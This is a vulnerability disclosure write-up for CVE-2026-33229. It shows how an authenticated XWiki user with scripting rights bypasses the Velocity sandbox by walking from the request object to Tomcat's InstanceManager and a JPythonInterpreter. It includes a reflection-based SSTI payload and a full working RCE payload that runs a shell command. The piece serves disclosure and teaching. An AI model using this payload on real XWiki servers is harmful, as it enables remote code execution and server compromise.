My 0-Days

CVE-2026-33229 Bypassing Apache Velocity Sandbox to Achieve RCE in XWiki

by Admin
on 08 Apr 2026

Bypassing Apache Velocity Sandbox to Achieve RCE in XWiki

Description

A Remote Code Execution (RCE) vulnerability exists in both the Velocity macro and the page title parameter during page creation in XWiki. This flaw can be exploited by an authenticated user who has scripting permissions.

The application allows users to create Velocity scripts, enabling an attacker to inject arbitrary Velocity expressions or other malicious template syntax. These inputs are evaluated server-side, effectively bypassing the Velocity sandbox.

By crafting a specially designed payload, the attacker can execute arbitrary commands on the underlying operating system with the privileges of the web application.

Timeline (CVE disclosure)

  • 7 November 2025: Vulnerability discovered and reported
  • 11 November 2025: Vendor acknowledgement and first response
  • 10 December 2025: Patch developed and committed
  • 10 December 2025: Issue resolved
  • 8 April 2026: Public disclosure / CVE published (based on last update)

Details

We will focus on macros Velocity, but the same technique works for the page title parameter.

In XWiki, during page creation, we have the possibility to add Velocity macros on our page — using Velocity Template Language to create scripts (declare variables, implement logic, call functions of objects).

Figure 1
Figure 1: Example of a basic Velocity macro creating a variable
Figure 2
Figure 2: The rendered result

The Challenge

Our goal is to achieve code execution. Looking online, we find that Velocity has some SSTI (Server-Side Template Injection) payloads to get code execution. However, in our case, these don't work because XWiki has the Velocity sandbox activated.

Figure 3
Figure 3: Standard SSTI payloads fail due to the sandbox

It is not working because of the sandbox.

Understanding Java Reflection for Payloads

Before diving into our bypass technique, it's important to understand how traditional SSTI payloads work. Many payloads use Java Reflection mechanisms to access sensitive classes and execute arbitrary code.

Here is an example of a typical Java Reflection payload:

#set($class = $class.forName("java.lang.Runtime"))
#set($runtime = $class.getMethod("getRuntime").invoke(null))
#set($exec = $runtime.exec("id"))
Example: Java Reflection payload for command execution

The decomposition of this payload is as follows:

  • Instantiating the class — Using forName() to load the target class
  • The forName method — Loads other classes dynamically at runtime
  • Retrieving the Runtime class — We obtain the Runtime class to execute system commands
  • String instantiation — Creating strings to pass as arguments to methods
⚠️

Important Limitation: To use Java Reflection, the Velocity sandbox mode must be disabled, as this mode restricts access to many classes and packages, including those related to Java Reflection.

The Bypass Discovery

During my internship at Fenrisk, we studied the Velocity sandbox to find ways to bypass it. We were able to discover different bypass methods. In this article, we will discuss one of those methods, based on CVE-2020-13936.

But before discussing the bypass, we need to understand how the Velocity sandbox works. By looking at the code, we see that the sandbox uses a blacklist of classes and packages that we cannot use. This is interesting because there is no restriction on objects that are already instantiated — we can use them to navigate from one object to another until we find an object that can provide code execution.

Figure 4
Figure 4: The sandbox implementation showing the blacklisted classes and packages

Since the Velocity sandbox does not define any rules on objects already present in the context, it is possible to bypass it if we have the right object.

Analyzing the Velocity Context

Our main focus will be the objects available in the Velocity context. To identify them, we set a remote breakpoint using IntelliJ to see all objects used during rendering of the Velocity macro.

// Remote debug configuration
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
Figure 5: Setting up remote debugging in IntelliJ
Breakpoint hit at org.apache.velocity.runtime.parser.Parser
Figure 6: Remote breakpoint during macro rendering
Figure 7
Figure 7: The complete list of 49 objects available in the Velocity context

We see that we have 49 objects in the context — a lot for rendering a user script!

The Attack Chain

The object that is interesting for us is the request object. This object represents the request context and all its attributes. We can use it to switch to the application context and access more interesting objects used by the application.

// Navigating from request to application context
$request.request.getServletContext()
Figure 8
Figure 8: Using the request object to access the application context

From there, we found the org.apache.tomcat.InstanceManager object. This can be used to instantiate classes without using Java Reflection. However, there is an important limitation: we cannot instantiate classes that do not have a nullary constructor (constructor without arguments).

// Retrieving the InstanceManager object
$request.request.getServletContext()
  .getAttribute("org.apache.tomcat.InstanceManager")
Figure 9: Retrieving the InstanceManager from the ServletContext

Looking at the classes available in the classpath, we discovered JPythonInterpreter, which can be used to execute arbitrary Python code — and therefore system commands.

// Choosing the class to instantiate
.newInstance("org.apache.batik.script.jpython.JPythonInterpreter")
Figure 10: Instantiating JPythonInterpreter using InstanceManager

The Final Payload

Now we have everything we need to achieve code execution. Here is the complete breakdown of our payload:

$request.request.getServletContext()                                         // Step 1: Access the application context
  .getAttribute("org.apache.tomcat.InstanceManager")                         // Step 2: Retrieve InstanceManager
  .newInstance("org.apache.batik.script.jpython.JPythonInterpreter")         // Step 3: Instantiate JPythonInterpreter
  .evaluate("import os; os.system('touch /tmp/RCE')")                        // Step 4: Execute Python code for RCE
Figure 11: Complete payload breakdown with step-by-step explanation

This payload works by:

  • Step 1: Transitioning from the request context to the application context using getServletContext()
  • Step 2: Retrieving the InstanceManager object stored as an attribute in the ServletContext
  • Step 3: Using InstanceManager.newInstance() to instantiate JPythonInterpreter (which has a nullary constructor)
  • Step 4: Calling evaluate() to execute Python code, giving us full command execution

Key Insight: This bypass works because we never directly use Java Reflection. Instead, we leverage existing objects in the Velocity context and navigate through them until we find one that provides code execution capabilities. The sandbox's blacklist approach fails since we only interact with pre-instantiated trusted objects.

Figure 12: Successful execution — the /tmp/RCE file has been created

Impact

This vulnerability allows an authenticated attacker with scripting permissions to:

  • Execute arbitrary system commands on the server running XWiki
  • Gain a reverse shell
  • Escalate privileges within the application server
  • Access sensitive data or modify system files

Why This Works

  • The sandbox uses a blacklist approach which fails because we're not directly calling forbidden classes
  • We navigate through already instantiated objects that are trusted in the context
  • No Java Reflection needed — we bypass the sandbox restrictions by using pre-existing objects
  • The InstanceManager acts as a factory for objects with default constructors
  • JPythonInterpreter provides native code execution capabilities
📋

Conclusion: This finding demonstrates that even with sandboxing mechanisms in place, object graph traversal can lead to complete system compromise when the sandbox relies on incomplete blacklisting. By leveraging existing objects in the Velocity context rather than using Java Reflection directly, we successfully bypassed the sandbox restrictions. XWiki users should apply patches or mitigations as soon as they become available.

Refrences